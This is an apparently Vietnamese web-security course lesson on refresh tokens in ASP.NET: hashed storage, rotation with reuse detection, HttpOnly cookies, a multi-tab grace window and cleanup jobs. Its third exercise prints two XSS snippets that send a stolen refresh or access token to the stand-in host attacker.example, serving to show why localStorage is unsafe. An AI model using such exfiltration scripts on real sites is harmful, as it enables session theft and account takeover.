Skip to content

10.3 - Refresh Token ​

Tóm tắt: Refresh token tồn tại để giải quyết một mâu thuẫn: access token phải sống ngắn (vì không thu hồi được) nhưng người dùng không muốn đăng nhập lại mỗi 15 phút. Điều làm nên khác biệt giữa một cài đặt an toàn và một cài đặt hình thức là rotation kèm phát hiện tái sử dụng: mỗi lần làm mới sinh token mới và huỷ token cũ; nếu token đã bị huỷ được dùng lại, đó là dấu hiệu token đã bị đánh cắp và bạn phải huỷ toàn bộ chuỗi của người dùng đó. Ba việc bắt buộc còn lại: hash trước khi lưu (nó là mật khẩu, không phải id), giới hạn thời gian sống tuyệt đối, và xử lý được nhiều tab cùng làm mới.

Mục tiêu bài học ​

Sau bài này bạn có thể:

  • Giải thích vì sao cần refresh token và nó bảo vệ điều gì.
  • Cài rotation với phát hiện tái sử dụng.
  • Lưu trữ refresh token an toàn ở cả server và client.
  • Xử lý race condition khi nhiều tab cùng làm mới.
  • Dọn dẹp token hết hạn.

Nội dung bài học ​

10.3.1 — Vấn đề nó giải quyết ​

Access tokenRefresh token
Sống5–15 phút7–30 ngày
Gửi kèmMọi requestChỉ khi làm mới
Lưu ở serverKhôngCó
Thu hồi đượcKhôngCó
Bị lộ thìRủi ro ≤ 15 phútNghiêm trọng

Ý tưởng: thứ đi qua mạng liên tục thì sống ngắn; thứ sống dài thì hiếm khi đi qua mạng và thu hồi được.

Khác biệt quyết định là dòng "lưu ở server". Refresh token được lưu nên bạn kiểm tra được nó còn hiệu lực không — đó là điều access token không làm được (bài 10.2).

10.3.2 — Lược đồ lưu trữ ​

sql
CREATE TABLE RefreshTokens (
    Id          UNIQUEIDENTIFIER PRIMARY KEY DEFAULT NEWID(),
    TokenHash   VARBINARY(32)    NOT NULL,          -- SHA-256, KHÔNG lưu plaintext
    UserId      NVARCHAR(450)    NOT NULL,
    CreatedAt   DATETIME2        NOT NULL,
    ExpiresAt   DATETIME2        NOT NULL,
    AbsoluteExpiresAt DATETIME2  NOT NULL,          -- tran tuyet doi
    RevokedAt   DATETIME2        NULL,
    ReplacedByHash VARBINARY(32) NULL,              -- liên kết chuỗi rotation
    CreatedByIp NVARCHAR(45)     NULL,
    UserAgent   NVARCHAR(512)    NULL,

    CONSTRAINT UQ_RefreshTokens_Hash UNIQUE (TokenHash),
    INDEX IX_RefreshTokens_UserId (UserId)
);

Vì sao hash? Refresh token là chứng chỉ xác thực, ngang mật khẩu. Ai đọc được bảng này — qua SQL injection, qua bản backup, qua một lập trình viên có quyền đọc production — đều có thể mạo danh mọi người dùng đang đăng nhập.

Hash thì lộ database không còn dùng được gì. SHA-256 là đủ ở đây (khác với mật khẩu cần bcrypt/Argon2), vì token đã là 512 bit ngẫu nhiên — không có gì để brute force.

AbsoluteExpiresAt là trần không gia hạn theo rotation: dù người dùng hoạt động liên tục, sau 30 ngày họ vẫn phải đăng nhập lại. Không có nó, một token bị đánh cắp và rotate đều đặn sẽ sống vĩnh viễn.

CreatedByIp và UserAgent phục vụ điều tra và cho người dùng xem "các phiên đang đăng nhập".

10.3.3 — Sinh và lưu ​

csharp
public sealed class RefreshTokenService(AppDbContext db, TimeProvider clock)
{
    public async Task<string> IssueAsync(string userId, string? ip, string? ua, CancellationToken ct)
    {
        // 512 bit ngau nhien tu CSPRNG
        var raw = Convert.ToBase64String(RandomNumberGenerator.GetBytes(64));
        var now = clock.GetUtcNow();

        db.RefreshTokens.Add(new RefreshToken
        {
            TokenHash         = SHA256.HashData(Encoding.UTF8.GetBytes(raw)),
            UserId            = userId,
            CreatedAt         = now.UtcDateTime,
            ExpiresAt         = now.AddDays(7).UtcDateTime,
            AbsoluteExpiresAt = now.AddDays(30).UtcDateTime,
            CreatedByIp       = ip,
            UserAgent         = ua,
        });

        await db.SaveChangesAsync(ct);
        return raw;               // trả về bản THÔ, chỉ một lần duy nhất
    }
}

RandomNumberGenerator là CSPRNG. Không bao giờ dùng Random hay Guid.NewGuid() cho token bảo mật — Guid chỉ có 122 bit ngẫu nhiên và, tuỳ cách sinh, có thể đoán được.

10.3.4 — Rotation và phát hiện tái sử dụng ​

Đây là phần quan trọng nhất của cả bài:

csharp
public async Task<Result<TokenPair>> RefreshAsync(
    string rawToken, string? ip, CancellationToken ct)
{
    var hash = SHA256.HashData(Encoding.UTF8.GetBytes(rawToken));

    var stored = await db.RefreshTokens
        .Include(t => t.User)
        .FirstOrDefaultAsync(t => t.TokenHash == hash, ct);

    if (stored is null)
        return Result.Fail("Refresh token không hợp lệ");

    var now = clock.GetUtcNow().UtcDateTime;

    // === PHAT HIEN TAI SU DUNG ===
    if (stored.RevokedAt is not null)
    {
        logger.LogCritical(
            "Refresh token ĐÃ BỊ HUỶ được dùng lại. User {UserId}, IP {Ip}",
            stored.UserId, ip);

        // Token này đã được rotate -> ai đó đang giữ bản sao cũ
        // => Coi như cả chuỗi bị xâm nhập, huỷ TẤT CẢ
        await RevokeAllForUserAsync(stored.UserId, "reuse-detected", ct);

        return Result.Fail("Phiên đăng nhập không hợp lệ, vui lòng đăng nhập lại");
    }

    if (stored.ExpiresAt < now || stored.AbsoluteExpiresAt < now)
        return Result.Fail("Refresh token da het han");

    // === ROTATION ===
    var newRaw = Convert.ToBase64String(RandomNumberGenerator.GetBytes(64));
    var newHash = SHA256.HashData(Encoding.UTF8.GetBytes(newRaw));

    stored.RevokedAt      = now;
    stored.ReplacedByHash = newHash;

    db.RefreshTokens.Add(new RefreshToken
    {
        TokenHash         = newHash,
        UserId            = stored.UserId,
        CreatedAt         = now,
        ExpiresAt         = now.AddDays(7),
        AbsoluteExpiresAt = stored.AbsoluteExpiresAt,   // KHÔNG gia hạn trần tuyệt đối
        CreatedByIp       = ip,
    });

    await db.SaveChangesAsync(ct);

    var roles = await userManager.GetRolesAsync(stored.User);
    return Result.Success(new TokenPair(
        tokenService.CreateAccessToken(stored.User, roles), newRaw));
}

Vì sao phát hiện tái sử dụng lại hiệu quả:

Ke tan cong danh cap refresh token R1.

Trường hợp A — kẻ tấn công dùng trước:
  R1 -> R2 (ke tan cong giu R2)
  Người dùng thật dùng R1 -> ĐÃ BỊ HUỶ -> phát hiện!

Trường hợp B — người dùng dùng trước:
  R1 -> R2 (người dùng giữ R2)
  Ke tan cong dung R1 -> DA BI HUY -> phat hien!

Dù ai dùng trước, việc tái sử dụng luôn xảy ra và bạn luôn phát hiện. Đó là điều rotation không kèm phát hiện tái sử dụng không làm được — khi đó kẻ tấn công cứ lặng lẽ rotate mãi.

Khi phát hiện, phải huỷ toàn bộ chuỗi của người dùng, không chỉ token đó. Bạn không biết bên nào là kẻ tấn công, nên buộc cả hai đăng nhập lại là phản ứng đúng.

Mức log ở đây là LogCritical có chủ đích: đây là sự kiện bảo mật cần cảnh báo ngay, không phải một dòng log để xem sau.

Toàn bộ RefreshAsync gói lại trong một sơ đồ:

Sơ đồ luồng POST /refresh: refresh token thô được băm SHA-256 rồi tra theo TokenHash. Không tìm thấy bản ghi thì từ chối với 401. Tìm thấy nhưng token đã bị huỷ thì huỷ mọi token của user, ghi LogCritical với lý do reuse-detected, rồi từ chối. Token hết hạn hoặc quá trần tuyệt đối thì từ chối. Còn lại thì rotate R1 sang R2: đặt R1.RevokedAt bằng thời điểm hiện tại, giữ nguyên AbsoluteExpiresAt, và trả cặp token mới gồm access token và R2. Ngoại lệ ở mục 10.3.6: trong 10 giây đầu, token vừa bị huỷ được trả lại R2 cho tab gọi song song.Sơ đồ luồng POST /refresh: refresh token thô được băm SHA-256 rồi tra theo TokenHash. Không tìm thấy bản ghi thì từ chối với 401. Tìm thấy nhưng token đã bị huỷ thì huỷ mọi token của user, ghi LogCritical với lý do reuse-detected, rồi từ chối. Token hết hạn hoặc quá trần tuyệt đối thì từ chối. Còn lại thì rotate R1 sang R2: đặt R1.RevokedAt bằng thời điểm hiện tại, giữ nguyên AbsoluteExpiresAt, và trả cặp token mới gồm access token và R2. Ngoại lệ ở mục 10.3.6: trong 10 giây đầu, token vừa bị huỷ được trả lại R2 cho tab gọi song song.

File gốc: nền sáng · nền tối

10.3.5 — Client lưu token ở đâu ​

Đây là quyết định bảo mật quan trọng nhất về phía client:

Nơi lưuXSS đọc đượcCSRFGhi chú
localStorageCóKhôngPhổ biến nhất, kém an toàn nhất
sessionStorageCóKhôngNhư trên, mất khi đóng tab
Biến JavaScriptCó (cùng ngữ cảnh)KhôngMất khi refresh trang
Cookie HttpOnly + Secure + SameSiteKhôngCần chốngTốt nhất

Mọi bài viết khuyên lưu token trong localStorage đều bỏ qua một điều: một lỗ hổng XSS ở bất kỳ đâu trên tên miền — kể cả trong một thư viện npm bị chèn mã — đều đọc được localStorage và gửi token đi.

csharp
Response.Cookies.Append("refresh_token", rawToken, new CookieOptions
{
    HttpOnly = true,                       // JavaScript không đọc được
    Secure   = true,                       // chi qua HTTPS
    SameSite = SameSiteMode.Strict,        // chong CSRF
    Path     = "/api/auth",                // chỉ gửi tới endpoint auth
    Expires  = DateTimeOffset.UtcNow.AddDays(7),
});

Path = "/api/auth" là chi tiết đáng giá: cookie không được gửi kèm những request khác, nên bề mặt tấn công nhỏ hơn nhiều.

Mẫu thực dụng: access token trong bộ nhớ JavaScript (mất khi refresh trang, và lấy lại bằng refresh token), refresh token trong cookie HttpOnly. XSS không đọc được refresh token, còn access token chỉ sống 15 phút.

Dùng cookie thì phải chống CSRF — SameSite=Strict xử lý phần lớn, nhưng với API gọi từ tên miền khác cần thêm antiforgery token (bài 10.10).

10.3.6 — Race condition: nhiều tab cùng làm mới ​

Người dùng mở 3 tab. Access token hết hạn. Cả 3 tab cùng gọi /refresh với cùng một refresh token:

Tab 1: R1 -> R2  (thành công)
Tab 2: R1 -> ĐÃ BỊ HUỶ -> phát hiện tái sử dụng -> HUỶ TẤT CẢ
Tab 3: R1 -> thất bại
=> Người dùng bị đăng xuất dù không có tấn công nào

Đây là vấn đề thật và hay bị bỏ qua cho tới khi người dùng phàn nàn "cứ bị đăng xuất".

Ba cách xử lý:

1. Cửa sổ ân hạn. Chấp nhận token vừa bị huỷ trong vài giây, và trả lại token thay thế của nó:

csharp
if (stored.RevokedAt is not null)
{
    var age = now - stored.RevokedAt.Value;

    if (age < TimeSpan.FromSeconds(10) && stored.ReplacedByHash is not null)
        return await ReturnExistingReplacementAsync(stored, ct);   // trả lại R2

    // Ngoài cửa sổ -> tấn công thật
    await RevokeAllForUserAsync(stored.UserId, "reuse-detected", ct);
    return Result.Fail(...);
}

2. Client tự đồng bộ. Dùng BroadcastChannel hoặc một khoá trong localStorage để chỉ một tab làm mới, các tab khác chờ kết quả. Sạch nhất nhưng cần client hợp tác.

3. Khoá ở server theo userId trong thời gian làm mới. Đơn giản nhưng thêm một điểm tranh chấp.

Cách 1 là cân bằng tốt nhất: cửa sổ 10 giây đủ cho race condition thật, và quá hẹp để hữu ích cho kẻ tấn công.

10.3.7 — Đăng xuất và dọn dẹp ​

csharp
[HttpPost("logout")]
[Authorize]
public async Task<IActionResult> Logout(CancellationToken ct)
{
    var raw = Request.Cookies["refresh_token"];
    if (raw is not null)
        await _refreshTokens.RevokeAsync(raw, "logout", ct);

    Response.Cookies.Delete("refresh_token");
    return NoContent();
}

[HttpPost("logout-all")]
[Authorize]
public async Task<IActionResult> LogoutAll(CancellationToken ct)
{
    await _refreshTokens.RevokeAllForUserAsync(_currentUser.Id, "logout-all", ct);
    return NoContent();
}

logout-all là tính năng người dùng thật sự cần khi nghi ngờ tài khoản bị xâm nhập. Nó cũng nên được gọi tự động khi đổi mật khẩu.

Lưu ý: đăng xuất huỷ refresh token nhưng access token vẫn hợp lệ tới khi hết hạn. Đó là giới hạn đã nói ở bài 10.2, và là lý do TTL phải ngắn.

Bảng RefreshTokens sẽ phình lên, nên cần dọn định kỳ:

csharp
public sealed class RefreshTokenCleanupWorker(
    IServiceScopeFactory scopeFactory, ILogger<RefreshTokenCleanupWorker> logger)
    : BackgroundService
{
    protected override async Task ExecuteAsync(CancellationToken ct)
    {
        using var timer = new PeriodicTimer(TimeSpan.FromHours(24));

        while (await timer.WaitForNextTickAsync(ct))
        {
            try
            {
                await using var scope = scopeFactory.CreateAsyncScope();
                var db = scope.ServiceProvider.GetRequiredService<AppDbContext>();

                // Giữ thêm 30 ngày để còn dấu vết điều tra
                var cutoff = DateTime.UtcNow.AddDays(-30);
                var removed = await db.RefreshTokens
                    .Where(t => t.AbsoluteExpiresAt < cutoff)
                    .ExecuteDeleteAsync(ct);

                logger.LogInformation("Đã xoá {Count} refresh token hết hạn", removed);
            }
            catch (Exception ex)
            {
                logger.LogError(ex, "Dọn dẹp refresh token thất bại");
            }
        }
    }
}

Mẫu BackgroundService này theo đúng bài 9.9 — nhớ khoá phân tán nếu chạy nhiều instance.

10.3.8 — Rà lại code của bạn ​

Danh sách rà soát refresh token

  • Refresh token được hash trước khi lưu, không lưu dạng thô.
  • Token sinh bằng RandomNumberGenerator, không phải Random hay Guid.
  • Mỗi lần làm mới đều rotate: huỷ token cũ, phát token mới.
  • Tái sử dụng token đã huỷ bị phát hiện và huỷ toàn bộ chuỗi của người dùng.
  • Sự kiện phát hiện tái sử dụng được log ở mức Critical và có cảnh báo.
  • Có trần thời gian tuyệt đối không gia hạn theo rotation.
  • Refresh token nằm trong cookie HttpOnly, Secure, SameSite, giới hạn Path.
  • Có cửa sổ ân hạn hoặc cơ chế khác xử lý nhiều tab cùng làm mới.
  • Có endpoint logout-all, và nó được gọi tự động khi đổi mật khẩu.
  • Có job dọn dẹp token hết hạn.

Bài tập áp dụng ​

Bài 1 — Phát hiện tái sử dụng refresh token ​

Cài rotation đầy đủ, lưu lại một refresh token cũ, rotate hai lần, rồi dùng lại token cũ. Xác nhận toàn bộ chuỗi bị huỷ và log Critical xuất hiện.

Tiêu chí hoàn thành: bạn giải thích được vì sao việc huỷ cả chuỗi là phản ứng đúng, chứ không phải chỉ từ chối riêng token đó.

Gợi ý và lời giải — Bài 1

Gợi ý. Một refresh token đã rotate mà còn được dùng nghĩa là hai bên đang giữ token trong cùng một chuỗi. Bạn không biết bên nào là người thật.

Lời giải — kịch bản:

csharp
[Fact]
public async Task DungLaiTokenDaRotate_HuyToanBoChuoi()
{
    var login = await _client.PostAsJsonAsync("/api/v1/auth/login",
        new { email = "[email protected]", password = "..." });
    var r1 = (await login.Content.ReadFromJsonAsync<TokenPair>())!.RefreshToken;

    var r2 = await RefreshAsync(r1);      // R1 -> R2
    var r3 = await RefreshAsync(r2);      // R2 -> R3

    // Kẻ tấn công dùng lại R1
    var res = await _client.PostAsJsonAsync("/api/v1/auth/refresh", new { refreshToken = r1 });

    Assert.Equal(HttpStatusCode.Unauthorized, res.StatusCode);

    // R3 — token của người dùng thật — CŨNG bị huỷ
    var afterAttack = await _client.PostAsJsonAsync("/api/v1/auth/refresh",
        new { refreshToken = r3 });
    Assert.Equal(HttpStatusCode.Unauthorized, afterAttack.StatusCode);
}

Log:

text
crit: Crm.Auth.RefreshTokenService[0]
      Refresh token ĐÃ BỊ HUỶ được dùng lại. User 8f3a1b2c, IP 203.0.113.77
      Đã thu hồi toàn bộ 3 token trong chuỗi.

Vì sao phải huỷ cả chuỗi. Khi R1 xuất hiện lần thứ hai, bạn biết chắc một điều và không biết một điều:

Biết chắcKhông biết
Có hai bên cùng giữ token trong chuỗi nàyBên nào là người dùng thật

R1 đã bị đánh cắp — nhưng bạn không biết kẻ trộm đã kịp rotate chưa. Có hai kịch bản, và chúng đối xứng:

text
Kịch bản A — kẻ tấn công dùng trước:
  Kẻ tấn công: R1 -> R2 (giờ HẮN giữ chuỗi sống)
  Người dùng thật: R1 -> đã huỷ -> phát hiện

Kịch bản B — người dùng dùng trước:
  Người dùng thật: R1 -> R2
  Kẻ tấn công: R1 -> đã huỷ -> phát hiện

Ở kịch bản A, chuỗi đang sống thuộc về kẻ tấn công. Chỉ từ chối riêng R1 nghĩa là để hắn tiếp tục truy cập vô thời hạn, còn người dùng thật thì đăng nhập lại và... không thay đổi gì cả.

Huỷ cả chuỗi xử lý được cả hai kịch bản: ai cũng phải đăng nhập lại, và kẻ tấn công không có mật khẩu nên mất quyền truy cập. Cái giá là người dùng thật bị phiền một lần — rẻ hơn nhiều so với việc để tài khoản bị chiếm.

Ba điều cần có kèm theo:

  1. Log ở mức Critical, không phải Warning. Đây là dấu hiệu token bị đánh cắp, cần có người xem.
  2. Ghi kèm IP và User-Agent của cả hai lần dùng. Nếu chúng khác nhau rõ rệt (khác quốc gia, khác loại thiết bị) thì gần như chắc chắn là tấn công thật chứ không phải race condition — xem bài 2.
  3. Thông báo cho người dùng. "Phiên đăng nhập của bạn đã kết thúc vì lý do bảo mật" cộng một email. Người dùng thật cần biết để đổi mật khẩu.

Một giới hạn phải thừa nhận. Cơ chế này phát hiện sau khi việc đã xảy ra, không ngăn được lần dùng đầu tiên của kẻ trộm. Nó thu hẹp cửa sổ thiệt hại xuống còn khoảng thời gian giữa hai lần refresh, chứ không đóng được hoàn toàn. Ngăn chặn thật sự nằm ở chỗ đừng để token bị đánh cắp — xem bài 3.


Bài 2 — Ba tab cùng làm mới token ​

Bắn 3 request /refresh đồng thời với cùng một token bằng Task.WhenAll. Ghi lại kết quả khi không có cửa sổ ân hạn, rồi thêm cửa sổ 10 giây và kiểm chứng lại.

Tiêu chí hoàn thành: bạn nêu được vì sao cửa sổ 10 giây đủ an toàn, dù nghe như một lỗ hổng.

Gợi ý và lời giải — Bài 2

Gợi ý. So sánh khoảng thời gian một race condition thật kéo dài với khoảng thời gian một kẻ tấn công cần để làm được gì đó có ích.

Lời giải — không có cửa sổ ân hạn:

csharp
var tasks = Enumerable.Range(0, 3)
    .Select(_ => _client.PostAsJsonAsync("/api/v1/auth/refresh",
                                         new { refreshToken = r1 }))
    .ToArray();

var results = await Task.WhenAll(tasks);
foreach (var r in results) Console.WriteLine(r.StatusCode);
text
OK
Unauthorized
Unauthorized
text
crit: Refresh token ĐÃ BỊ HUỶ được dùng lại. Đã thu hồi toàn bộ chuỗi.

Người dùng bị đăng xuất, và không có kẻ tấn công nào. Ba tab của chính họ gây ra chuyện đó. Token đầu tiên thắng, hai tab còn lại bị coi là tái sử dụng.

Đây là loại lỗi rất khó truy: người dùng báo "cứ bị đăng xuất ngẫu nhiên", log thì đầy cảnh báo bảo mật, và bạn đi tìm kẻ tấn công không tồn tại.

Với cửa sổ ân hạn 10 giây:

csharp
if (stored.RevokedAt is not null)
{
    var age = now - stored.RevokedAt.Value;

    if (age < TimeSpan.FromSeconds(10) && stored.ReplacedByHash is not null)
        return await ReturnExistingReplacementAsync(stored, ct);   // trả lại R2

    await RevokeAllForUserAsync(stored.UserId, "reuse-detected", ct);
    return Result.Fail("Phiên đăng nhập không hợp lệ, vui lòng đăng nhập lại");
}
text
OK
OK
OK

Cả ba tab nhận cùng một R2. Không ai bị đăng xuất, và vẫn chỉ có một token sống trong chuỗi.

Vì sao 10 giây đủ an toàn — hai lý do độc lập:

  1. Race condition thật kéo dài vài chục mili-giây. Ba tab cùng phát hiện token hết hạn trong cùng một khoảnh khắc. 10 giây rộng hơn nhu cầu hàng trăm lần, nên nó bắt trọn mọi trường hợp hợp lệ.

  2. Kẻ tấn công không làm được gì trong cửa sổ đó. Để lợi dụng, hắn phải dùng token bị đánh cắp trong vòng 10 giây kể từ lúc người dùng thật rotate nó — tức là phải theo dõi thời gian thực và hành động đúng khoảnh khắc. Mà kể cả thành công, hắn chỉ nhận đúng R2 — cùng token người dùng thật đang có. Lần refresh tiếp theo sẽ lộ ra ngay, vì lúc đó hai bên dùng R2 cách nhau xa hơn 10 giây.

Hai điều kiện làm cửa sổ này an toàn, đừng bỏ:

  • Phải trả lại đúng token thay thế đã có (ReplacedByHash), tuyệt đối không phát token mới. Phát mới là tạo ra hai chuỗi song song — hỏng hẳn mô hình.
  • Chỉ áp dụng cho token vừa bị huỷ do rotate, không áp cho token bị huỷ do đăng xuất hay do phát hiện tấn công.

Cách 2 — client tự đồng bộ — sạch hơn nhưng cần hợp tác:

ts
const channel = new BroadcastChannel('auth');
let refreshing: Promise<string> | null = null;

async function getAccessToken() {
  if (!isExpired()) return current;
  refreshing ??= doRefresh().finally(() => { refreshing = null; });
  return refreshing;
}

Chỉ một tab gọi /refresh, các tab khác chờ cùng một Promise. Nếu bạn kiểm soát được client thì nên làm cả hai: client giảm số lần chạm tới race, server có cửa sổ ân hạn làm lưới an toàn.


Bài 3 — XSS đọc token trong localStorage ​

Lưu refresh token trong localStorage, chèn một script đọc và gửi nó đi. Chuyển sang cookie HttpOnly và xác nhận script không đọc được.

Tiêu chí hoàn thành: bạn nêu được cookie HttpOnly chặn điều gì và không chặn điều gì.

Gợi ý và lời giải — Bài 3

Gợi ý. HttpOnly nói với trình duyệt: JavaScript không được đọc cookie này. Nó không nói gì về việc trình duyệt có gửi cookie đi hay không.

Lời giải — với localStorage:

js
localStorage.setItem('refreshToken', 'eyJhbGciOi...');

Một script chèn được vào trang — qua thư viện npm bị chiếm, qua quảng cáo bên thứ ba, hay qua chính lỗ hổng upload ở bài 9.5 — chỉ cần một dòng:

html
<script>
  fetch('https://attacker.example/steal?t=' + localStorage.getItem('refreshToken'));
</script>

Kẻ tấn công giờ có refresh token và dùng được từ máy của hắn, ngoài mọi phiên của người dùng, cho tới khi token hết hạn tuyệt đối.

Với cookie HttpOnly:

csharp
Response.Cookies.Append("refresh_token", token, new CookieOptions
{
    HttpOnly = true,                        // JavaScript không đọc được
    Secure   = true,                        // chỉ qua HTTPS
    SameSite = SameSiteMode.Strict,         // không gửi kèm request từ site khác
    Path     = "/api/auth",                 // chỉ gửi tới endpoint auth
    Expires  = DateTimeOffset.UtcNow.AddDays(30)
});
js
document.cookie
// "theme=dark; locale=vi"     <- không có refresh_token

Script không đọc được. Nhưng đây mới là phần quan trọng của bài:

HttpOnly chặnHttpOnly không chặn
JavaScript đọc giá trị tokenTrình duyệt tự động gửi cookie trong mọi request tới cùng origin
Mang token ra máy khácScript gọi API của bạn thay mặt người dùng

Nghĩa là script độc hại vẫn làm được điều này:

js
// Không cần đọc token — trình duyệt tự đính kèm cookie
await fetch('/api/auth/refresh', { method: 'POST', credentials: 'include' })
  .then(r => r.json())
  .then(d => fetch('https://attacker.example/?a=' + d.accessToken));

Hắn không lấy được refresh token, nhưng lấy được access token vừa cấp, và gọi được mọi API trong lúc script còn chạy trên trang.

Vậy HttpOnly được gì. Nó biến một vụ chiếm tài khoản lâu dài thành một vụ lạm dụng trong phiên: kẻ tấn công chỉ hành động được khi nạn nhân đang mở trang, và mất hết quyền khi tab đóng. Đó là cải thiện lớn, nhưng không phải là chặn XSS.

Chặn XSS mới là việc thật, và nó nằm ở bốn chỗ khác:

  1. Content Security Policy — chặn script không nằm trong danh sách cho phép:

    csharp
    ctx.Response.Headers["Content-Security-Policy"] =
        "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'";
  2. Không render HTML thô từ dữ liệu người dùng. React và Angular escape mặc định — cái nguy hiểm là dangerouslySetInnerHTML và [innerHTML].

  3. File người dùng upload phải ở tên miền khác, như bài 9.5 trình bày.

  4. Kiểm soát phụ thuộc. Một gói npm bị chiếm là một <script> chạy trên trang bạn. Ghim phiên bản và quét định kỳ.

Kết luận thực dụng. Cookie HttpOnly + Secure + SameSite=Strict cho refresh token, access token giữ trong bộ nhớ JavaScript (không phải localStorage), và CSP chặt. Ba lớp đó không loại bỏ XSS, nhưng khiến một lỗ hổng XSS gây thiệt hại nhỏ hơn hẳn.

Tự kiểm tra ​

Refresh token giải quyết mâu thuẫn gì?

Access token phải sống ngắn vì không thu hồi được, nhưng người dùng không muốn đăng nhập lại mỗi 15 phút. Ý tưởng là thứ đi qua mạng liên tục thì sống ngắn, còn thứ sống dài thì hiếm khi đi qua mạng và được lưu ở server nên thu hồi được.

Vì sao phải hash refresh token trước khi lưu?

Vì nó là chứng chỉ xác thực ngang mật khẩu. Ai đọc được bảng đó qua SQL injection, qua bản backup hay qua quyền đọc production đều mạo danh được mọi người dùng đang đăng nhập. SHA-256 là đủ vì token đã là 512 bit ngẫu nhiên, không có gì để brute force.

Phát hiện tái sử dụng hoạt động thế nào?

Mỗi lần làm mới sinh token mới và huỷ token cũ. Nếu một token đã huỷ được dùng lại thì hoặc kẻ tấn công dùng trước và người dùng thật phát hiện, hoặc ngược lại; dù thế nào việc tái sử dụng cũng luôn xảy ra. Khi đó phải huỷ toàn bộ chuỗi vì bạn không biết bên nào là kẻ tấn công.

Vì sao cần trần thời gian tuyệt đối?

Vì không có nó, một token bị đánh cắp và rotate đều đặn sẽ sống vĩnh viễn. Trần tuyệt đối không gia hạn theo rotation, nên dù người dùng hoạt động liên tục thì sau 30 ngày họ vẫn phải đăng nhập lại.

Client nên lưu refresh token ở đâu?

Trong cookie HttpOnly, Secure, SameSite và giới hạn Path tới endpoint auth. localStorage bị mọi lỗ hổng XSS trên tên miền đọc được, kể cả XSS đến từ một thư viện npm bị chèn mã. Mẫu thực dụng là access token trong bộ nhớ JavaScript và refresh token trong cookie HttpOnly.

Nhiều tab cùng làm mới gây ra vấn đề gì?

Cả ba tab dùng cùng một refresh token, tab đầu rotate thành công còn hai tab sau gặp token đã huỷ nên bị coi là tấn công và toàn bộ phiên bị huỷ, dù không có tấn công nào. Cách xử lý cân bằng nhất là cửa sổ ân hạn khoảng 10 giây, trả lại token thay thế thay vì báo tấn công.

Kết luận ​

Ba điều đáng nhớ nhất:

  1. Rotation không kèm phát hiện tái sử dụng gần như vô nghĩa — kẻ tấn công cứ lặng lẽ rotate mãi.
  2. Refresh token là mật khẩu. Hash trước khi lưu, đặt trong cookie HttpOnly.
  3. Nhiều tab cùng làm mới là chuyện thường. Không có cửa sổ ân hạn thì người dùng liên tục bị đăng xuất.

Tham khảo ​

Điều hướng ​

Phát hành theo giấy phép MIT.